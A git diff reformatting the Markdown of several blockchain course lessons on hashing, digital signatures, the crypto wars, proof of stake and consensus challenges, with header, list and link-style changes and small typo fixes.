Academy)](https://www.khanacademy.org/economics-finance-domain/core-finance/money-and-banking/bitcoin/v/bitcoin-cryptographic-hash-function){target=_blank} +- [Interactive Code: ETH.Build](https://youtu.be/QJ010l-pBpE){target=\_blank} Austin Griffith walks through Hash Functions using his [ETH.Build](https://sandbox.eth.build/wofCrGxhc3Rfbm9kZV9pZCLEgcSDxIVsaW5rxItkFsKlxIfEiXPClMKKwqLEjCDCpHR5cGXCqklucHV0L1RleHTCo3Bvc8KSZcOMw7_CpHNpemXCksONASwywqVmxIJnc8KAwqVvcsSJcgDCpG3EiGUAwqbEk8SqdHPCkcKDwqRuYW1lwqDEosSkxZPCpMSSxJTDgMKnb8SrxZfFmcWbxZ3Fn8WhxKPEpcKmxIRyxJNnwqXFpmvFmRXCqnByb8SlcnRpZXPChMKrYmxvY2vGhVPEvGUywqtwxIJjZWhvbMWNwq9lbnRlciDGoMSwIGjGoWXCpcaEdGxlwqTErsSwwqV2YWx1xq7GoMSExJ7EjB_FosSlwqtDcsSkdG8vSMSDaMSyxLTEvwHDl8S4xLrGkcKSeB7FhMWGxYjFisWMxqECxZDFksWUxZbEq8WtxZzFnsapx550xr1lwq3FtcW3LG51bWLGocWlxJNrFcWpxavHn8Wax6HFn8KkaMeHx6bFtHTFtm7FuMW6xZkWxb7GgMaCxoTGhsKAxrpkIcemwq1EaXPGlWF5L1dhdGPHiMSzxLXDjQLCs8OMw7XHj8S9xL8DMTzHlGHFh8WJxYvFjQPHm8SJx53Eqce3woTHucWgx6bFj8W6xJjEgsevbMKgx7V0xazCkci3xa_IucWyxZPFuceyc8OAxblhyL_CoMiHxoHGociKc8KBxqppxqzGqciZyJtowojEn8SNyJDIksiUxILIl1TJmsatx4nEtTx4yKXEvsigJgTIq8itx5fFjQHIssWTyZPIicaFc8KHwqhmb8afxpDEvSzGicaLxo3Gj8aRxpPIlcaXxpnGm8ahwqDJmcmbwqXJqMqUxrPGtcenx4ZzaCBGdW5jxoTKgsKqyoHGn0bFnmlsecK8J1J1YmlrIE3Kgm8gT25lJywgc2Fucy1zxqFpZsKlY8aaxYvCpyNky47Lj8mLxJTEtcKWFSAAHwDHqMiAx6rHrMeuxqHClhbLmCEAxZRnxoB1cHPCkMKmy4luZmlnwoDCp3bGocS7yoLDiz_DmcKZy7vLu8Ka){target=\_blank} platform (highly recommended). +- [Article: Blockchain Underpinnings: Hashing (ConsenSys)](https://medium.com/@ConsenSys/blockchain-underpinnings-hashing-7f4746cbd66b){target=\_blank} +- [Interactive Code: Cryptographic Hash Functions (ConsenSys / Josh Crites)](https://observablehq.com/@consensys-academy/cryptographic-hash-functions){target=\_blank} Uses a platform called [Observable](https://observablehq.com/@observablehq/five-minute-introduction?collection=@observablehq/introduction){target=\_blank} to provide you with code you can run in the article! +- [Lesson: Cryptographic Hash Functions (Khan Academy)](https://www.khanacademy.org/economics-finance-domain/core-finance/money-and-banking/bitcoin/v/bitcoin-cryptographic-hash-function){target=\_blank} ### Advanced Hashing Resources - * [Coding: Bitcoin Whitepaper Exercises: Hashing](https://github.com/cooganb/bitcoin-whitepaper-exercises/blob/master/hashing/README.md){target=_blank} This is a JavaScript-based exercise implementing the timestamp server outlined in the Bitcoin Whitepaper. It's the first in a [larger problem set](https://github.com/cooganb/bitcoin-whitepaper-exercises){target=_blank} we'll also recommend you try later in this section. - - +- [Coding: Bitcoin Whitepaper Exercises: Hashing](https://github.com/cooganb/bitcoin-whitepaper-exercises/blob/master/hashing/README.md){target=\_blank} This is a JavaScript-based exercise implementing the timestamp server outlined in the Bitcoin Whitepaper. It's the first in a [larger problem set](https://github.com/cooganb/bitcoin-whitepaper-exercises){target=\_blank} we'll also recommend you try later in this section. diff --git a/docs/S01-fundamentals/M1-cryptography/L6-digital-sig-additional/index.md b/docs/S01-fundamentals/M1-cryptography/L6-digital-sig-additional/index.md index 2c67b574..68fa4a39 100644 --- a/docs/S01-fundamentals/M1-cryptography/L6-digital-sig-additional/index.md +++ b/docs/S01-fundamentals/M1-cryptography/L6-digital-sig-additional/index.md @@ -1,35 +1,31 @@ -Digital Signatures -================== +# Digital Signatures -Up till now, we've looked at how blockchains use private keys as a decentralized form of identity and how hashing is used as a decentralized form of file integrity. We are now arriving at the last cryptographic element of our decentralized trust protocol, digital signatures. As the previous section discussed, digital signatures use a combination of the key signing and hashing to create what we're calling **decentralized intent.** Let's unpack what that means. +Up till now, we've looked at how blockchains use private keys as a decentralized form of identity and how hashing is used as a decentralized form of file integrity. We are now arriving at the last cryptographic element of our decentralized trust protocol, digital signatures. As the previous section discussed, digital signatures use a combination of the key signing and hashing to create what we're calling **decentralized intent.** Let's unpack what that means. -In blockchain, the signature is made when a hash of the message is signed by the private key of the account holder. (The encryption process is also a hashing process, so it may be helpful to think of the signed transaction as a hash of a hash.) In practice, it looks like a normal hash except it can be decrypted using the sender's public key to confirm identity. This digital signature acts like a protective wrapping around transaction data, as the simplified image below shows: +In blockchain, the signature is made when a hash of the message is signed by the private key of the account holder. (The encryption process is also a hashing process, so it may be helpful to think of the signed transaction as a hash of a hash.) In practice, it looks like a normal hash except it can be decrypted using the sender's public key to confirm identity. This digital signature acts like a protective wrapping around transaction data, as the simplified image below shows: ![a basic representation of a transaction including the message hash and the signed message hash](../../../img/S01/signed-hash.png) - -*a signed blockchain transaction (simplified)* -The first, unsigned hash is formed by making a cryptographic hash of the `Sender`, `Receiver` and `Amount` data. The second, signed hash is formed by combining the `Sender` `Receiver` `Amount` and, most importantly, `Hash` data and signing all *those* fields. +_a signed blockchain transaction (simplified)_ + +The first, unsigned hash is formed by making a cryptographic hash of the `Sender`, `Receiver` and `Amount` data. The second, signed hash is formed by combining the `Sender` `Receiver` `Amount` and, most importantly, `Hash` data and signing all _those_ fields. By creating these two successive hashes, we are creating a series of protective wrappings. A message that has a valid digital signature on it provides three different confirmations. It confirms: -* **Origin:** From what we learned about public key cryptography, we can infer that if a private key digital signature is valid then the signed message really did come from the account associated with the public key. -* **Message Integrity:** From what we learned about cryptographic hash functions, we know that the message has not been tampered with by anyone else -* **Intent:** By signing the first hash, the owner of the private key is signalling their intent to execute whatever commands or agreements are contained in the message. -In the non-blockchain world, the idea of capturing intent may seem fairly useless since you can't legally force someone to do something they do not want to do. Someone can sign a string saying, "I'll pay you 100 pounds" but you can't really *do* anything with that string. It's just pixels on a screen. +- **Origin:** From what we learned about public key cryptography, we can infer that if a private key digital signature is valid then the signed message really did come from the account associated with the public key. +- **Message Integrity:** From what we learned about cryptographic hash functions, we know that the message has not been tampered with by anyone else +- **Intent:** By signing the first hash, the owner of the private key is signalling their intent to execute whatever commands or agreements are contained in the message. -The real power of digital signatures comes when the message within that digital signature can be executed, say on a blockchain protocol. In fact, the only significant messages in the blockchain world are bits of code that, when signed and validated, can be executed automatically by the blockchain protocol. (If this feels like a leap for you, that's okay, we're going to keep explaining it more.) +In the non-blockchain world, the idea of capturing intent may seem fairly useless since you can't legally force someone to do something they do not want to do. Someone can sign a string saying, "I'll pay you 100 pounds" but you can't really _do_ anything with that string. It's just pixels on a screen. - Conclusion ----------- +The real power of digital signatures comes when the message within that digital signature can be executed, say on a blockchain protocol. In fact, the only significant messages in the blockchain world are bits of code that, when signed and validated, can be executed automatically by the blockchain protocol. (If this feels like a leap for you, that's okay, we're going to keep explaining it more.) - ![](../../../img/S01/sign-all-the-things.png) +## Conclusion - The decentralization of intent is the last piece of cryptographic primitives in this section. It's important for capturing intent but it's also significant because it relies entirely on two other primitives (public key cryptography and hash functions) for its existence. Digital signatures are *emergent* in this way, arising from simple-yet-powerful features to create something with equal importance. It's a good microcosm or analogy for the broader ecosystem and yet another example of emergence. +![Sign all the things](../../../img/S01/sign-all-the-things.png) - Additional Resources --------------------- +The decentralization of intent is the last piece of cryptographic primitives in this section. It's important for capturing intent but it's also significant because it relies entirely on two other primitives (public key cryptography and hash functions) for its existence. Digital signatures are _emergent_ in this way, arising from simple-yet-powerful features to create something with equal importance. It's a good microcosm or analogy for the broader ecosystem and yet another example of emergence. - * [Article: The Magic of Digital Signatures (MyCrypto)](https://medium.com/mycrypto/the-magic-of-digital-signatures-on-ethereum-98fe184dc9c7){target=_blank} +## Additional Resources - +- [Article: The Magic of Digital Signatures (MyCrypto)](https://medium.com/mycrypto/the-magic-of-digital-signatures-on-ethereum-98fe184dc9c7){target=\_blank} diff --git a/docs/S01-fundamentals/M1-cryptography/L7-crypto-fundamentals-playground/index.md b/docs/S01-fundamentals/M1-cryptography/L7-crypto-fundamentals-playground/index.md index faeff0ac..a087186c 100644 --- a/docs/S01-fundamentals/M1-cryptography/L7-crypto-fundamentals-playground/index.md +++ b/docs/S01-fundamentals/M1-cryptography/L7-crypto-fundamentals-playground/index.md @@ -1,15 +1,12 @@ - Cryptography Fundamentals Playground -==================================== +# Cryptography Fundamentals Playground - If you've gotten this far, you've learned the basic cryptographic fundamentals underpinning blockchain generally. We still need to learn about decentralized consensus, and we'll do that in the next module, but we wanted to let you interact with public key cryptography, hash functions and digital signing in a tangible way. +If you've gotten this far, you've learned the basic cryptographic fundamentals underpinning blockchain generally. We still need to learn about decentralized consensus, and we'll do that in the next module, but we wanted to let you interact with public key cryptography, hash functions and digital signing in a tangible way. - We'll have a live presentation where we walk through playing with cryptographic keys and generating accounts. In the meantime, please check out the resources below. These are advanced exercises, but we hope you will at least take a look. If these look too intense, that's also okay. +We'll have a live presentation where we walk through playing with cryptographic keys and generating accounts. In the meantime, please check out the resources below. These are advanced exercises, but we hope you will at least take a look. If these look too intense, that's also okay. - Additional Resources (Advanced) -------------------------------- +## Additional Resources (Advanced) - - [Bitcoin White Paper Exercises](https://github.com/cooganb/bitcoin-whitepaper-exercises){target=_blank} These are a series of exercises, built by [Kyle Simpson,](https://github.com/getify){target=_blank} for understanding some of the concepts outlined in the Bitcoin white paper. These are not easy, but if you really would like to understand these fundamentals as they apply to blockchains, this is a great place to start. - - [CryptoHack](https://cryptohack.org/){target=_blank} "A fun free platform for learning modern cryptography" - - [Hack the Box](https://app.hackthebox.eu/){target=_blank} A gamified, cybersecurity platform. Not cryptography, per se, but cyber security which is a related field. - - [CryptoPals](https://cryptopals.com/){target=_blank} This is *very* advanced and intense, but real to-the-metal applied cryptography! I am putting this link in here and it scares me. - +- [Bitcoin White Paper Exercises](https://github.com/cooganb/bitcoin-whitepaper-exercises){target=\_blank} These are a series of exercises, built by [Kyle Simpson](https://github.com/getify){target=\_blank}, for understanding some of the concepts outlined in the Bitcoin white paper. These are not easy, but if you really would like to understand these fundamentals as they apply to blockchains, this is a great place to start. +- [CryptoHack](https://cryptohack.org/){target=\_blank} "A fun free platform for learning modern cryptography" +- [Hack the Box](https://app.hackthebox.eu/){target=\_blank} A gamified, cybersecurity platform. Not cryptography, per se, but cyber security which is a related field. +- [CryptoPals](https://cryptopals.com/){target=\_blank} This is _very_ advanced and intense, but real to-the-metal applied cryptography! I am putting this link in here and it scares me. diff --git a/docs/S01-fundamentals/M1-cryptography/L8-crypto-wars-history/index.md b/docs/S01-fundamentals/M1-cryptography/L8-crypto-wars-history/index.md index 779ff09d..b4bb7574 100644 --- a/docs/S01-fundamentals/M1-cryptography/L8-crypto-wars-history/index.md +++ b/docs/S01-fundamentals/M1-cryptography/L8-crypto-wars-history/index.md @@ -1,30 +1,23 @@ - History of the Crypto Wars -========================== +# History of the Crypto Wars - From the opening of [Cory Doctorow's video](https://www.youtube.com/watch?v=JE4yoU6ssi8){target=_blank} (also in the next section): +From the opening of [Cory Doctorow's video](https://www.youtube.com/watch?v=JE4yoU6ssi8){target=\_blank} (also in the next section): - -> Back in the late 90s, the NSA [US National Security Agency] classed cryptography as a munition and imposed strict limits on civilian access to strong crypto. -> -> They said, "We can't afford to have the criminals go dark, they're going to hide behind crypto and we won't be able to spy on them." In the face of all that resistance, we finally came up with a winning argument. -> -> We went to the [US Federal Courts] and said, "We believe that the first amendment of the US Constitution, which guarantees the right to free speech protects [citizens' access to strong cryptography]. Code is a form of expressive speech in the framework of the US Constitution." And this worked. The reason you folks can use [strong cryptography] is because we won this case. -> -> +> Back in the late 90s, the NSA [US National Security Agency] classed cryptography as a munition and imposed strict limits on civilian access to strong crypto. +> +> They said, "We can't afford to have the criminals go dark, they're going to hide behind crypto and we won't be able to spy on them." In the face of all that resistance, we finally came up with a winning argument. +> +> We went to the [US Federal Courts] and said, "We believe that the first amendment of the US Constitution, which guarantees the right to free speech protects [citizens' access to strong cryptography]. Code is a form of expressive speech in the framework of the US Constitution." And this worked. The reason you folks can use [strong cryptography] is because we won this case. - As we mentioned previously, asymmetric cryptography presents an enormous challenge to larger structures of power, particularly those tasked with national security. The inability of governments to "crack" high-end public key encryption is an unusual position for these institutions. In fact, there are [documented attempts](https://www.scientificamerican.com/article/nsa-nist-encryption-scandal/){target=_blank} of public institutions such as the NSA to create "backdoors" into public key cryptography protocols. Crucial to note in these "backdoor" attempts is that the math itself behind public key cryptography is not being compromised. What would actually be compromised is the way in which the math is being used by a piece of software. It's the difference between saying a criminal organization has "hacked" the Ethereum blockchain protocol (unlikely) versus a criminal organization has "hacked" a popular Ethereum software client (less unlikely). +As we mentioned previously, asymmetric cryptography presents an enormous challenge to larger structures of power, particularly those tasked with national security. The inability of governments to "crack" high-end public key encryption is an unusual position for these institutions. In fact, there are [documented attempts](https://www.scientificamerican.com/article/nsa-nist-encryption-scandal/){target=\_blank} of public institutions such as the NSA to create "backdoors" into public key cryptography protocols. Crucial to note in these "backdoor" attempts is that the math itself behind public key cryptography is not being compromised. What would actually be compromised is the way in which the math is being used by a piece of software. It's the difference between saying a criminal organization has "hacked" the Ethereum blockchain protocol (unlikely) versus a criminal organization has "hacked" a popular Ethereum software client (less unlikely). - It's nearly impossible to build a "backdoor" into a concept, like public key cryptography. However, it is possible to compromise a popular piece of software that implements that concept. This is why it is critical that blockchain projects are open-source and very careful about the ways they handle sensitive data for users (like private keys). We'll get into that more when we discuss MetaMask's [LavaMoat initiative](https://github.com/LavaMoat/LavaMoat){target=_blank} and general security for working in the blockchain space. +It's nearly impossible to build a "backdoor" into a concept, like public key cryptography. However, it is possible to compromise a popular piece of software that implements that concept. This is why it is critical that blockchain projects are open-source and very careful about the ways they handle sensitive data for users (like private keys). We'll get into that more when we discuss MetaMask's [LavaMoat initiative](https://github.com/LavaMoat/LavaMoat){target=\_blank} and general security for working in the blockchain space. - Now, we said it's "nearly impossible" to build a backdoor into a concept like public key cryptography. The one way in which applied cryptography could be broken is if someone is able to solve what's called the ["P versus NP" problem](https://en.wikipedia.org/wiki/P_versus_NP_problem){target=_blank} ([video explainer](https://www.youtube.com/watch?v=YX40hbAHx3s){target=_blank}) It's way too complicated to get into now, but essentially if someone could build a machine that defies the traditional physics underlying modern computation it would break our society's cryptographic systems. Theoretically, it's possible this could happen with [quantum computers.](https://en.wikipedia.org/wiki/Quantum_computing){target=_blank} But, while that technology has made recent advancements, it's far from where it needs to be. Last note, it's highly unlikely (not impossible) quantum computing is being developed secretly by a nation-state as the engineering, resources and conceptual breakthroughs required for its development are considered beyond the capacity of a world government. Exciting times! +Now, we said it's "nearly impossible" to build a backdoor into a concept like public key cryptography. The one way in which applied cryptography could be broken is if someone is able to solve what's called the ["P versus NP" problem](https://en.wikipedia.org/wiki/P_versus_NP_problem){target=\_blank} ([video explainer](https://www.youtube.com/watch?v=YX40hbAHx3s){target=\_blank}) It's way too complicated to get into now, but essentially if someone could build a machine that defies the traditional physics underlying modern computation it would break our society's cryptographic systems. Theoretically, it's possible this could happen with [quantum computers](https://en.wikipedia.org/wiki/Quantum_computing){target=\_blank}. But, while that technology has made recent advancements, it's far from where it needs to be. Last note, it's highly unlikely (not impossible) quantum computing is being developed secretly by a nation-state as the engineering, resources and conceptual breakthroughs required for its development are considered beyond the capacity of a world government. Exciting times! - If you'd like to read more about the Cypherpunk movement, you can read [this article from *Wired* magazine](http://www.wired.com/1993/02/crypto-rebels/){target=_blank} in 1993 ([archived version here](https://archive.is/05Lzr){target=_blank}). +If you'd like to read more about the Cypherpunk movement, you can read [this article from _Wired_ magazine](http://www.wired.com/1993/02/crypto-rebels/){target=\_blank} in 1993 ([archived version here](https://archive.is/05Lzr){target=\_blank}). - Additional Links ----------------- +## Additional Links - * [Article: NSA Efforts to Evade Encryption Technology Damaged U.S. Cryptography Standard](https://www.scientificamerican.com/article/nsa-nist-encryption-scandal/){target=_blank} A piece about the NSA attempts to build a backdoor into cryptographic standards in the 1990s. -* [Article: "Crypto Rebels" (Wired, 1993)](https://www.wired.com/1993/02/crypto-rebels/){target=_blank} This is the article Doctorow mentions in his talk providing more description about the events surrounding encryption in the 1990s. -* [Wiki: The Hitchhiker's Guide to Online Anonymity](https://anonymousplanet.org/guide.html){target=_blank} Nervous about privacy from governments? This is an extremely detailed guide to walkthrough how to maintain anonymity online. Spoiler alert: it is quite challenging! - - \ No newline at end of file +- [Article: NSA Efforts to Evade Encryption Technology Damaged U.S. Cryptography Standard](https://www.scientificamerican.com/article/nsa-nist-encryption-scandal/){target=\_blank} A piece about the NSA attempts to build a backdoor into cryptographic standards in the 1990s. +- [Article: "Crypto Rebels" (Wired, 1993)](https://www.wired.com/1993/02/crypto-rebels/){target=\_blank} This is the article Doctorow mentions in his talk providing more description about the events surrounding encryption in the 1990s. +- [Wiki: The Hitchhiker's Guide to Online Anonymity](https://anonymousplanet.org/guide.html){target=\_blank} Nervous about privacy from governments? This is an extremely detailed guide to walkthrough how to maintain anonymity online. Spoiler alert: it is quite challenging! diff --git a/docs/S01-fundamentals/M2-consensus/L10-alt-consensus/index.md b/docs/S01-fundamentals/M2-consensus/L10-alt-consensus/index.md index a1257240..1c29c412 100644 --- a/docs/S01-fundamentals/M2-consensus/L10-alt-consensus/index.md +++ b/docs/S01-fundamentals/M2-consensus/L10-alt-consensus/index.md @@ -1,39 +1,33 @@ -More Forms of Consensus -======================= +# More Forms of Consensus We've spoken mainly about Proof of Work, since it's the current consensus mechanism for Bitcoin and Ethereum, as well as other blockchains. However, there are other consensus protocols being used by blockchain networks, such as: -- **[Proof of Stake](https://ethereum.org/en/developers/docs/consensus-mechanisms/pos/){target=_blank}** A consensus protocol based on financial holdings of validator nodes in the network (similar to miner nodes in Proof of Work). Proof of Stake requires much less energy to run than Proof of Work and, for this reason, Ethereum is currently working towards this consensus mechanism. -- **[Delegated Proof of Stake](https://www.gemini.com/cryptopedia/proof-of-stake-delegated-pos-dpos#section-delegated-proof-of-stake){target=_blank}** This is a variant of the Proof of Stake protocol in which stakeholders can elect validators to represent them in the system. -- **Proof of Authority** This is a more traditional consensus mechanism like Raft's leader-led consensus in which only certain nodes are allowed to produce blocks at their discretion. It's meant for smaller, perhaps private networks where the participants all know each other or for lower-stake networks such as [testnets](https://en.wikipedia.org/wiki/Testnet){target=_blank} or networks securing trivial amounts of value. +- **[Proof of Stake](https://ethereum.org/en/developers/docs/consensus-mechanisms/pos/){target=\_blank}** A consensus protocol based on financial holdings of validator nodes in the network (similar to miner nodes in Proof of Work). Proof of Stake requires much less energy to run than Proof of Work and, for this reason, Ethereum is currently working towards this consensus mechanism. +- **[Delegated Proof of Stake](https://www.gemini.com/cryptopedia/proof-of-stake-delegated-pos-dpos#section-delegated-proof-of-stake){target=\_blank}** This is a variant of the Proof of Stake protocol in which stakeholders can elect validators to represent them in the system. +- **Proof of Authority** This is a more traditional consensus mechanism like Raft's leader-led consensus in which only certain nodes are allowed to produce blocks at their discretion. It's meant for smaller, perhaps private networks where the participants all know each other or for lower-stake networks such as [testnets](https://en.wikipedia.org/wiki/Testnet){target=\_blank} or networks securing trivial amounts of value. - +Why would we need another consensus mechanism for blockchains, if Proof of Work is so innovative? A few reasons: -Why would we need another consensus mechanism for blockchains, if Proof of Work is so innovative? A few reasons: - **Accessibility** The barriers to entry to becoming a PoW miner are high. Proof of Work chains require a substantial amount of energy to maintain. A miner must purchase, set up, and maintain all the necessary hardware to run a PoW mining rig. Additionally, PoW mining is extremely energy-intensive. - **Centralization** Barriers to entry for mining can have the adverse secondary effect of greater centralization of miners. As it gets more costly and less profitable to become a miner, the network naturally sees a concentration of mining into two categories. First, large mining conglomerates that operate in areas with low electricity costs and cold weather (to reduce the cost of manually cooling mining hardware) such as Mongolia and Siberia. Second, mining power is centralized in the hands of mining pools. As it becomes less profitable for most people to mine individually, they buy hash power from a mining pool, which operates as a single mining entity. By the end of 2019, over 50% of blocks on Ethereum were mined by just two mining pools. - - -Proof of Stake --------------- +## Proof of Stake Proof of Stake is a different kind of consensus mechanism blockchains can use to agree upon a single true record of data history. Whereas in Proof of Work miners expend energy (electricity) to mine blocks into existence, in Proof of Stake validators commit stake to attest (or ‘validate’) blocks into existence. **Validators** are the participants on the network who run nodes (called **validator nodes**) to propose and attest blocks on a Proof of Stake network. They do so by staking crypto on the network and make themselves available to be randomly selected to propose a block. Other validators then “attest” that they have seen the block. When a sufficient number of attestations for the block has been collected, the block is added to the blockchain. Validators receive rewards both for successfully proposing blocks (just as they do in Proof of Work) and for making attestations about blocks that they have seen. -The crypto-economic incentives for Proof of Stake are designed to create more compelling rewards for proper behavior and more severe penalties for malicious behavior. The core crypto-economic incentive boils down to the requirement that validators stake their own crypto––i.e. money––on the network. Instead of considering the secondary cost of electricity to run a Proof of Work node, validators on Proof of Stake chains are forced to directly deposit a significant monetary amount onto the network. +The crypto-economic incentives for Proof of Stake are designed to create more compelling rewards for proper behavior and more severe penalties for malicious behavior. The core crypto-economic incentive boils down to the requirement that validators stake their own crypto––i.e. money––on the network. Instead of considering the secondary cost of electricity to run a Proof of Work node, validators on Proof of Stake chains are forced to directly deposit a significant monetary amount onto the network. -Validators accrue rewards for making blocks and attestations when it is their turn to do so. They are penalized for not following through with their responsibilities when it is their turn to do so – i.e. if they are offline. Penalties for being offline are relatively mild and equate to about the same as the expected rewards over time. So, if a validator is participating correctly more than half the time then her rewards will be net positive. +Validators accrue rewards for making blocks and attestations when it is their turn to do so. They are penalized for not following through with their responsibilities when it is their turn to do so – i.e. if they are offline. Penalties for being offline are relatively mild and equate to about the same as the expected rewards over time. So, if a validator is participating correctly more than half the time then her rewards will be net positive. Should a validator attempt to attack or compromise the blockchain by trying to propose a new set of data history, however, a different penalty mechanism kicks in: a substantial portion of their staked amount will be slashed (possibly up to the whole amount of stake) and they will be ejected from the network. The result is a tremendous financial risk of a failed attack by a validator. To draw an analogy to Proof of Work, it would be as if a miner who failed an attack on a PoW chain was forced to burn down her entire mining rig instead of just eating the cost of the electricity she spent on a failed attack. Furthermore, this architecture places the security of the network directly in the hands of those maintaining the network and holding its native crypto-asset in the protocol itself. -Proof of Stake is used most notably in Ethereum 2.0 (more on that later) and other blockchain networks such as [Cardano](https://www.gemini.com/cryptopedia/cardano-ada-staking-blockchain){target=_blank}, [EOS](https://www.gemini.com/cryptopedia/eos-crypto-enterprise-blockchain-eosio){target=_blank} and [PolkaDot](https://www.gemini.com/cryptopedia/polkadot-crypto-dot-coin){target=_blank}. It's also used in Layer 2 solutions such as [Polygon Proof of Stake](https://consensys.net/blog/blockchain-explained/analyzing-polygons-proof-of-stake-network/){target=_blank} (we'll discuss Layer 2 solutions later as well) +Proof of Stake is used most notably in Ethereum 2.0 (more on that later) and other blockchain networks such as [Cardano](https://www.gemini.com/cryptopedia/cardano-ada-staking-blockchain){target=\_blank}, [EOS](https://www.gemini.com/cryptopedia/eos-crypto-enterprise-blockchain-eosio){target=\_blank} and [PolkaDot](https://www.gemini.com/cryptopedia/polkadot-crypto-dot-coin){target=\_blank}. It's also used in Layer 2 solutions such as [Polygon Proof of Stake](https://consensys.net/blog/blockchain-explained/analyzing-polygons-proof-of-stake-network/){target=\_blank} (we'll discuss Layer 2 solutions later as well) It's important to note that a blockchain network does not have to use Proof of Work in their consensus mechanism. Bitcoin and Ethereum currently use it, but that does not mean it's the only game on the block! -Additional Material -------------------- +## Additional Material -* [Wiki: Consensus Mechanisms (Ethereum.org)](https://ethereum.org/en/developers/docs/consensus-mechanisms/){target=_blank} -* [Article: What is Proof of Stake (ConsenSys)](https://consensys.net/blog/blockchain-explained/what-is-proof-of-stake/){target=_blank} +- [Wiki: Consensus Mechanisms (Ethereum.org)](https://ethereum.org/en/developers/docs/consensus-mechanisms/){target=\_blank} +- [Article: What is Proof of Stake (ConsenSys)](https://consensys.net/blog/blockchain-explained/what-is-proof-of-stake/){target=\_blank} diff --git a/docs/S01-fundamentals/M2-consensus/L11-consensus-conclusion/index.md b/docs/S01-fundamentals/M2-consensus/L11-consensus-conclusion/index.md index 47242244..a834c4aa 100644 --- a/docs/S01-fundamentals/M2-consensus/L11-consensus-conclusion/index.md +++ b/docs/S01-fundamentals/M2-consensus/L11-consensus-conclusion/index.md @@ -1,56 +1,50 @@ - Consensus Conclusion -==================== +# Consensus Conclusion - Hopefully by now you feel like you have a sense of how distributed consensus works in a traditional network and how blockchains have innovated consensus protocols. While cryptographic primitives allow blockchain users to secure and validate current transactions, blockchain consensus protocols allow for a blockchain network to maintain a public ledger (the global state of the blockchain) in a decentralized way. +Hopefully by now you feel like you have a sense of how distributed consensus works in a traditional network and how blockchains have innovated consensus protocols. While cryptographic primitives allow blockchain users to secure and validate current transactions, blockchain consensus protocols allow for a blockchain network to maintain a public ledger (the global state of the blockchain) in a decentralized way. - Challenges of Consensus in Distributed Networks ------------------------------------------------ +## Challenges of Consensus in Distributed Networks - While blockchain consensus protocols have made great strides in decentralized networks, there are still some unsolved issues they're facing. Some of these (like the CAP theorem and forks) affect all general distributed networks while others, like Miner Extracted Value and 51% attacks, are specific to public blockchains. Here's a sampling and brief description of these challenges. +While blockchain consensus protocols have made great strides in decentralized networks, there are still some unsolved issues they're facing. Some of these (like the CAP theorem and forks) affect all general distributed networks while others, like Miner Extracted Value and 51% attacks, are specific to public blockchains. Here's a sampling and brief description of these challenges. - * **Forks** As we mentioned in a previous section, Proof of Work and other blockchain consensus mechanisms can lead to network forks (Note: In general computing networking, forks are also called *partitions*). Some of these forks are voluntary (such as network upgrades), accidental (a node receives two valid but different new blocks) or adversarial (network participants purposefully breakaway from the main network to create a separate chain). While forks are common in all distributed systems, with blockchain networks they can be particuarly painful despite also serving as necessary update mechanisms. -* **Network Size** The [Scalability Trilemma](https://vitalik.ca/general/2021/04/07/sharding.html){target=_blank} details the different elements a blockchain needs to balance when it grows. Maintaining scalability and security relies on keeping the network size manageable. If the network size is too large, the equipment needed to run a full node is too much for an individual and leads to the enormous mining rigs we now see with Proof of Work blockchains. There are developments with Ethereum clients, like Geth's [snapshots](https://blog.ethereum.org/2021/03/03/geth-v1-10-0/){target=_blank}, which reduce the amount of space needed for clients. There is also a push for [light clients,](https://www.reddit.com/r/ethereum/comments/m0tqz5/making_the_ecosystem_more_lightclient_friendly/){target=_blank} or clients that can run on mobile phones or a browser. -* **[CAP Theorem](https://en.wikipedia.org/wiki/CAP_theorem){target=_blank}** This is a fairly technical concept and can be challenging to understand. To put it simply, the CAP Theorem states that when a distributed network forks (also called a *[partition](https://en.wikipedia.org/wiki/Network_partition){target=_blank}*), the network must either sacrifice consistency or availability. For example, if a blockchain network forks / partitions into two separate chains, you cannot expect those chains to both continue to mine new transactions (*Availability*) and stay consistent (*Consistency*) with each other. You don't need to be an expert in the CAP theorem, really just be aware of its existence and generally how it affects distributed networks. If you'd like to learn more, please see the links in "Additional Material" below. -* **Scalability** As we've mentioned before, blockchain consensus mechanisms, particularly Proof of Work, are limited by the amount of transactions they can process. If the block size (the amount of transactions processed) increases, then mining will become more centralized and only available to those with significant resources. However, the current transaction throughput (the amount of transactions processed) is not enough to compete against current mainstream financial payment mechanisms. There are significant challenges, mainly how to make Ethereum more light-client friendly. Meaning: how can we reduce the amount of resources needed to provide decentralized consensus? -* **51% attacks** In "11. Calculations" of the Bitcoin whitepaper, Nakamoto discusses the possibility of something called a "51% attack". This is the mathematical possibility of a malicious actor, who controls 51% or more of the network's hash rate, to both reorder some recent blocks and create a new, valid block including those tampered transactions. To be clear, this has not happened with Bitcoin or any major network, but it does exist as a possibility. Also, controlling 51% of a network's hash rate is only the entrance fee for doing such an attack. It also requires an enormous amount of coordination and subversion to make sure the attack is not noticed. Last, Proof of Work provides an economic incentive for the malicious actor with over 51% of the mining rate to actually produce *valid* blocks, rather than trying a re-organization attack. -* **Miner Extracted Value** This is a more recent concern in the Ethereum community and may be too technical for this part of the course so no worries if you don't get this yet. Put simply, a user may increase the miner's fee of a transaction to entice a miner to include the transaction in a block. That user can use this "frontrunning" effect to target users making sophisticated trades. With the increasing sophistication of Ethereum transactions, many feel MEV poses as serious issue to the ecosystem. Please see links below for more resources if you're interested. +- **Forks** As we mentioned in a previous section, Proof of Work and other blockchain consensus mechanisms can lead to network forks (Note: In general computing networking, forks are also called _partitions_). Some of these forks are voluntary (such as network upgrades), accidental (a node receives two valid but different new blocks) or adversarial (network participants purposefully breakaway from the main network to create a separate chain). While forks are common in all distributed systems, with blockchain networks they can be particularly painful despite also serving as necessary update mechanisms. +- **Network Size** The [Scalability Trilemma](https://vitalik.ca/general/2021/04/07/sharding.html){target=\_blank} details the different elements a blockchain needs to balance when it grows. Maintaining scalability and security relies on keeping the network size manageable. If the network size is too large, the equipment needed to run a full node is too much for an individual and leads to the enormous mining rigs we now see with Proof of Work blockchains. There are developments with Ethereum clients, like Geth's [snapshots](https://blog.ethereum.org/2021/03/03/geth-v1-10-0/){target=\_blank}, which reduce the amount of space needed for clients. There is also a push for [light clients](https://www.reddit.com/r/ethereum/comments/m0tqz5/making_the_ecosystem_more_lightclient_friendly/){target=\_blank}, or clients that can run on mobile phones or a browser. +- **[CAP Theorem](https://en.wikipedia.org/wiki/CAP_theorem){target=\_blank}** This is a fairly technical concept and can be challenging to understand. To put it simply, the CAP Theorem states that when a distributed network forks (also called a 